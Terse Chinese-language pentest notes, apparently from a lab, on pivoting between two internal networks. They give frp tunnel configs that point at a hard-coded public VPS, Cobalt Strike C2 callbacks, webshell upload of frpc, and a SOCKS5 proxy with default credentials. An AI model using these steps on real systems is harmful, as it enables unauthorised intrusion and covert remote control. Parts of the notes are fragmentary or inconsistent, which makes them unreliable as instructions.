前情提要

1、实现湖北内网(192.168.158.128)控制北京内网(192.168.157.128;192.168.159.129)

2、实现湖北内网探针北京内网,信息收集(socks节点,端口映射)

nps

vps 上,./vps

frp

C2上线157.128

1、vps 上 ./frps -c frps.toml

2、158.128上修改 frpc.toml

frpc.toml:

serverAddr = "62.234.24.115"

serverPort = 7000

[[proxies]]

name = "test-tcp"

type = "tcp"

localIP = "192.168.158.128"

localPort = 5555

remotePort = 6666

解释:

serverAddr 是服务端地址

serverPort 是服务端用于连接通讯的监听端口

remotePort 是 vps 的端口;localPort 是本机的端口

将 vps:6666 的数据转发给 158.128:5555

3、158.128 上 ./frpc -c frpc.toml,和 vps 服务端建立连接,并进行转发

4、CS上开启 vps:6666 + 158.128:5555(生成后门用)监听

5、C2上线

157.128上创建 socks 节点

1、如果可以C2上线,可以直接在 cs 上创建 socks 节点,代理设置 监听器:port

2、不 C2 上线,利用 webshell 上传frpc.exe,frpc.toml

frpc.toml:

[common]

server_addr = "62.234.24.115"

server_port = 7000

tls_enable = true

pool_count = 5

 

[plugin_socks]

type = tcp

remote_port = 6000

plugin = socks5

plugin_user = admin

plugin_passwd = admin@123

use_encryption = true

use_compression = true

解释:

通用配置节,每个 frpc 配置文件必须有这个节

服务端地址

服务端用于连接通讯的监听端口

remotePort 是 vps 的端口

将 vps:6000 设置为socks 节点,代理走 vps:6000 相当于

走 157.128

3、158.128 上 frpc.exe -c frpc.toml

4、proxifier 设置代理服务器,成功代理